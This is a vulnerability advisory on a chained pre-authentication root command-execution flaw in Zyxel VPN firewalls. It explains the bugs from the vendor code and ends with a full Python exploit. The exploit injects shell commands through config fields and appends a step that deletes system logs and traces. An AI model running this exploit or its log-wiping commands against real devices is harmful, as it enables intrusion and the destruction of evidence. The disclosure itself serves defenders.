SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION
=================================================================
* [January 25, 2024](https://ssd-disclosure.com/2024/01/25/)
* [SSD Secure Disclosure technical team](https://ssd-disclosure.com/author/ssd-secure-disclosure-technical-team/)
* [Vulnerability publication](https://ssd-disclosure.com/category/vulnerability-publication/)
**Summary**
Chaining of three vulnerabilities allows unauthenticated attackers to execute arbitrary command with root privileges on Zyxel VPN firewall (VPN50, VPN100, VPN300, VPN500, VPN1000). Due to recent attack surface changes in Zyxel, the chain described below broke and become unusable – we have decided to disclose this even though it is no longer exploitable.
**Credit**
An independent security researcher, delsploit, working with SSD Secure Disclosure.
CVE
CVE-2023-33012
**Affected Versions**
The affected models are VPN50, VPN100, VPN300, VPN500, and VPN1000. The affected firmware version is 5.21 thru to 5.36.
**Technical Analysis**
By examining the `httpd.conf` you can notice a few paths that require no authentication:
...
LoadModule auth\_zyxel\_module modules/mod\_auth\_zyxel.so
...
AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no\_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan\_intro.html /sdwan\_intro\_video.html /videos/ /webauth\_error.cgi /webauth\_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch\_ap\_info.cgi /agree.cgi /walled\_garden.cgi /payment\_transaction.cgi /paypal\_pdt.cgi /redirect\_pdt.cgi /securepay.cgi /authorize\_dot\_net.cgi /payment\_failed.cgi /customize/ /multi-portal/ /free\_time.cgi /free\_time\_redirect.cgi /free\_time\_transaction.cgi /free\_time\_failed.cgi /js/ /terms\_of\_service.html /dynamic\_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld\_product\_spec.js /cf\_hdf\_blockpage.cgi \\
/2FA-access.cgi \\
/webauth\_ga.cgi \\
/fbwifi\_error.cgi /fbwifi/ \\
/ztp/cgi-bin/ztp\_reg.py /ztp/cgi-bin/checkdata.py /ztp/cgi-bin/parse\_config.py /ztp/cgi-bin/checkconn.py /ztp/cgi-bin/ztppolling.py /ztp/cgi-bin/activate.py /ztp/cgi-bin/conn\_fail\_checking.py /ztp/cgi-bin/changeLEDst.py /ztp/cgi-bin/postcertificate.py /ztp/cgi-bin/serverinit.py /ztp/cgi-bin/twoFApincode.py /ztp/cgi-bin/twoFApolling.py /ztp/cgi-bin/vpn\_certificate.py /ztp/cgi-bin/ztp\_bg.py /ztp/cgi-bin/dumpztplog.py /ztp/activation\_success.html /ztp/activation\_fail.html /ztp/activationfail.html /ztp/apply\_fail.html /ztp/twoFAapps.html /ztp/twoFAsms.html /ztp/verification\_fail.html /ztp/zld\_enabled.html /ztp/ztp\_enabled.html /ztp/ztp\_reg.html /ztp/css /ztp/images /ztp/fonts \\
...
As can be seen `/ztp/cgi-bin/parse_config.py` is one of accessible paths, this file is where the a flaw resides in.
Let’s look into its code. The `conf_str` is user provided, decoded by base64 and stored into the `decoded_config` variable.
The content is then written into `ztpconf.conf`.
Which means that unauthenticated users can overwrite the ztp product configuration.
def main():
form = cgi.FieldStorage()
conf\_str = form.getvalue("config")
#### skip ####
if conf\_str is None:
conf\_str = ""
else:
#### skip ####
if not os.path.exists(ztpinclude.SERVER\_SOCK\_FILE):
logging.error(
"Cannot find sdwan\_interface socket \[%s\]!" % ztpinclude.SERVER\_SOCK\_FILE
)
print("ParseError: 0xC0DE0005")
else:
conf\_str = urllib.unquote(conf\_str)
try:
decoded\_config = base64.b64decode(conf\_str)
except:
logging.error("invalid base64 str %s" % conf\_str)
print("ParseError: 0xC0DE0004")
return
#### skip ####
try:
fout = open(ztpinclude.ZTPFILEPATH + "ztpconf.conf", "w+")
if fout is not None:
fout.write(decoded\_config)
ok = True
fout.close()
except Exception as e:
logging.debug("e=%s" % e)
print("ParseError: 0xC0DE0002")
return
#### skip ####
if ok:
ztp\_soc.ztp\_led\_start()
(parse\_result, ou, org, cn) = network\_parse.parse\_result(
ztpinclude.ZTPFILEPATH + "ztpconf.conf"
)
if parse\_result == ztpinclude.APPLYSUCC:
csrmgr.new\_csrcfg(ou, org, cn)
print(
"ou=%s,org=%s,cn=%s"
% (urllib.quote(ou), urllib.quote(org), urllib.quote(cn))
)
else:
print("ParseError")
else:
print("ParseError: 0xC0DE0006")
However this alone is useless to execute arbitrary commands. Additional bugs were required to gain RCE.
When running commands in the product, the functions use `execve` function to avoid injection in most of the code.
A vulnerability can however be triggered when `sdwan_interface` and `sdwan_iface_ipc` are doing Inter-Process Communication.
Let’s see it at the code level. You can see something is written in `v31` buffer:
After setting the buffer, it is sent to `sdwan_interface` by `pic_sdwan_send_config`.
Pay attention to `v31.offset_584` copied to `argument[3]`. It’s the only injection point because other arguments are filtered or formatted by some rules, like `ip format` and `number` type.
`sdwan_interface` will then run the injected command after receiving payload. (`v75->offset_584` is equal to `v31.offset_584`.)
Now let’s take a look at how we can trigger the IPC.
`parse_result` is called in `main` of `parse_config.py`. And you can see `handle_gre` is called:
def parse\_result(filepath):
#### skip ####
if os.path.isfile(filepath):
parser = Parser()
config = parser.parse(filepath)
if check\_model\_id(config) != 0:
logging.info("Check model id with config fail!!")
return (ztpinclude.MODELIDERR, parm\_ou, parm\_o, parm\_cn)
save\_config\_data(config)
with open(ztpinclude.ZTPFILEPATH + 'parsed\_config', 'w+') as fout:
for configlist in config:
try:
if configlist\['proto'\] == "cellular":
#### skip ####
elif configlist\['proto'\] == "static":
#### skip ####
elif configlist\['proto'\] == "pppoe":
#### skip ####
elif configlist\['proto'\] == "deviceha":
#### skip ####
elif configlist\['proto'\] == "certificate":
#### skip ####
elif configlist\['proto'\] == "vti":
if not handle\_vti(configlist, vti\_cnt):
break
vti\_cnt += 1
elif configlist\['proto'\] == "gre":
if not handle\_gre(configlist, gre\_cnt):
break
gre\_cnt += 1
except Exception as e:
#### skip ####
return (applyresult, parm\_ou, parm\_o, parm\_cn)
else:
#### skip ####
`handle_gre` runs a process named `sdwan_iface_ipc`. And the arguments can be controlled by users. It runs the process, like executing command `sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 …`:
def handle\_gre(configlist, idx):
ok = False
logging.info("setting up gre interface")
logging.info("; ".join(\["=".join(\_) for \_ in configlist.items()\]))
# it's time to create gre interface
# sdwan\_iface\_ipc 8 gre1 192.168.100.1 24 192.168.100.2 if:eth0 61.220.240.159 key 190815111 nhrp nhrppsk ciscozyxel nhs 192.168.100.2
# sdwan\_iface\_ipc 8 gre1 192.168.100.1 24 192.168.100.2 61.220.240.160 61.220.240.159 key 190815111 nhrp nhrppsk ciscozyxel nhs 192.168.100.2
params = \[
"/usr/sbin/sdwan\_iface\_ipc",
"8",
configlist\["name"\],
configlist\["ipaddr"\],
configlist\["netmask"\],
\]
if "gateway" in configlist:
params.append(configlist\["gateway"\])
else:
params.append("-")
if "base" in configlist:
params.append("if:%s" % configlist\["base"\])
elif "localip" in configlist:
params.append(configlist\["localip"\])
else:
logging.info("Apply fail: neither base or localip is specificied")
return False
params.append(configlist\["remoteip"\])
if "key" in configlist:
params.append("key")
params.append(configlist\["key"\])
if "nhrp" in configlist and configlist\["nhrp"\] != "0":
params.append("nhrp")
if "nhrpsecret" in configlist:
params.append("nhrppsk")
params.append(configlist\["nhrpsecret"\])
if "nhs" in configlist:
params.append("nhs")
params.append(configlist\["nhs"\])
response = subprocess.call(params)
if response != (256 >> 8):
logging.info("Apply fail: %d %s" % (response, " ".join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
ok = True
return ok
At this point, we can perform the command injection. There’s good news and bad news. The good news is that `sdwan_interface` is running with root privileges, while `httpd` is running with nobody privileges. It means we don’t need additional LPE exploit.
UID PID PPID C STIME TTY TIME CMD
...
nobody 10391 10116 0 Sep12 ? 00:00:00 /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
...
root 10682 1 0 Sep12 ? 00:00:15 /usr/sbin/sdwan\_interface
...
nobody 14175 14152 0 03:19 ? 00:00:00 /usr/sbin/sdwan\_iface\_ipc
...
The bad news is there’s a length limit, because only 0x14 bytes of `argument[3]` are copied. It means that we can enter only 0x14 bytes command including command separators.
But using a third vulnerability we can overcome this.
There’re two vulnerability in `handle_vti`. One allows us to traverse arbitrary path with ‘.qsr’ postfix, and the other one allows us to write arbitrary contents in the file. Our focus is on the second one, because if it can write the shell command in a file and execute it, freeing us from the length limit.
def handle\_vti(configlist, idx):
ok = False
qsrname = "/tmp/%s.qsr" % configlist\["name"\]
logging.info("setting up vti interface")
logging.info("; ".join(\["=".join(\_) for \_ in configlist.items()\]))
out = open(qsrname, "w+")
if out:
for k in configlist:
out.write("%s %s\\n" % (k, configlist\[k\]))
out.flush()
out.close()
else:
return False
# it's time to create vti interface
# sdwan\_iface\_ipc 7 vti0 192.168.100.1 24 192.168.100.2 qsr /tmp/qsr0.txt
params = \[
"/usr/sbin/sdwan\_iface\_ipc",
"7",
configlist\["name"\],
configlist\["ipaddr"\],
configlist\["netmask"\],
\]
if "gateway" in configlist:
params.append(configlist\["gateway"\])
else:
params.append("-")
params.append("qsr")
params.append(qsrname)
response = subprocess.call(params)
if response != (256 >> 8):
logging.info("Apply fail : %d %s" % (response, "".join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
f = open("/tmp/ignore-nccubs-vpn-reset", "a")
if f is not None:
f.write("%s," % configlist\["name"\])
f.close()
ok = True
return ok
Finally, we can chain the three vulnerabilities together and obtain root preauth RCE:
The chaining scenario:
1. 1. Write arbitrary command in `/tmp/1.qsr` abusing QSR file write
1. 1. Run . `/tmp/1.qsr` ZTP configuration overwrite and command injection
1. 1. Boom
**Demo**
**Proof of Concept**
```
#!/usr/bin/python3
import argparse
import base64
import random
import requests
# ignore ssl certification
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable\_warnings(InsecureRequestWarning)
DEBUG = False # True
class Exploit:
def \_\_init\_\_(self, args, https=True):
self.args = args
self.host = args.host
self.command = args.command
self.session = requests.Session()
self.session.verify = False
self.root = f"http://{self.host}:{self.args.port}/"
if https:
self.root = f"https://{self.host}:{self.args.port}/"
def req\_post(self, path, data={}, files={}):
url = f"{self.root}{path}"
result = self.session.post(url, data=data, files=files)
if DEBUG:
print(f"\[\*\] req: {url}")
print(data)
print(result.text)
return result
def req\_get(self, path, params={}):
url = f"{self.root}{path}"
result = self.session.get(url, params=params)
if DEBUG:
print(f"\[\*\] req: {url}")
print(params)
print(result.text)
return result
def fingerprint(self):
print("\[+\] fingerprint")
version = ""
title = ""
# version\_string = "/ext-js/app/common/zld\_product\_spec.js"
r = self.req\_get("/ext-js/app/common/zld\_product\_spec.js")
if "ZLDSYSPARM\_PRODUCT\_NAME1=" in r.text:
title = r.text.split('ZLDSYSPARM\_PRODUCT\_NAME1="')\[1\].split('"')\[0\]
if "ZLDCONFIG\_CLOUD\_HELP\_VERSION=" in r.text:
version = r.text.split("ZLDCONFIG\_CLOUD\_HELP\_VERSION=")\[1\].split(";")\[0\]
print(f" title = {title}")
print(f" version = {version}")
return (title, version)
def fingerprint2(self):
print("\[+\] fingerprint")
version = ""
title = ""
version\_string = "/ext-js/app/common/zld\_product\_spec.js"
r = self.req\_get("/")
if version\_string in r.text:
version = r.text.split(version\_string)\[1\].split('"')\[0\]
if "<title>" in r.text:
title = r.text.split("<title>")\[1\].split("</title>")\[0\]
print(f" title = {title}")
print(f" version = {version}")
return (title, version)
def run(self):
command = args.command
if type(command) == str:
command = command.encode()
command += (
b" 2>/var/log/ztplog 1>/var/log/ztplog\\n"
b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/\* "
b"/var/log/\* /db/etc/zyxel/ftp/tmp/coredump/\* /tmp/sdwan\_interface/\*) &)\\n"
)
command = base64.b64encode(command)
command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr"
title, version = self.fingerprint()
if not title.startswith("VPN") or version == "" or float(version) < 5.10:
print("\[-\] invulnerable target")
return
if "ZTP is already enabled." in title:
print("\[!\] ZTP is already enabled")
print(" ZTP configuration will be clear if you continue")
yes = input(' ENTER "YES" if you want continue: ').strip()
if yes != "YES":
return
print("\[+\] payload transfer")
payload = b"option proto vti\\n"
payload += b"option " + command + b";exit\\n"
payload += b"option name 1\\n"
config = base64.b64encode(payload)
data = {"config": config, "fqdn": "\\x00"}
r = self.req\_post("/ztp/cgi-bin/parse\_config.py", data=data)
if "ParseError: 0xC0DE0005" in r.text:
print("\[-\] invulnerable")
return
print(" complete")
print("\[+\] code execution")
localip = (
f"{random.randint(1,255)}.{random.randint(1,255)}."
f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
)
remoteip = (
f"{random.randint(1,255)}.{random.randint(1,255)}."
f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
)
payload = b"option proto gre\\n"
payload += b"option name 0\\n"
payload += b"option ipaddr ;. /tmp/1.qsr;\\n"
payload += b"option netmask 24\\n"
payload += b"option gateway 0\\n"
payload += b"option localip " + localip + b"\\n"
payload += b"option remoteip " + remoteip + b"\\n"
config = base64.b64encode(payload)
data = {"config": config, "fqdn": "\\x00"}
r = self.req\_post("/ztp/cgi-bin/parse\_config.py", data=data)
if "ParseError: 0xC0DE0005" in r.text:
print("\[-\] invulnerable")
return
print(" complete")
print("\[+\] receive output")
r = self.req\_get("/ztp/cgi-bin/dumpztplog.py")
print(
r.text.split("</head>\\n<body>")\[1\]
.split("</body>\\n</html>")\[0\]
.replace("\\n\\n<br>", "")
.replace("\[IPC\]IPC result: 1\\n", "")
)
return
if \_\_name\_\_ == "\_\_main\_\_":
parser = argparse.ArgumentParser(description="Exploit")
parser.add\_argument("host", type=str, help="target host")
parser.add\_argument("--port", type=str, help="port", default="443")
parser.add\_argument("command", type=str, help="command")
parser.add\_argument("--no-https", dest="no\_https", action="store\_true")
args = parser.parse\_args()
https = not args.no\_https
s = Exploit(args, https=https)
s.run()```
暂无评论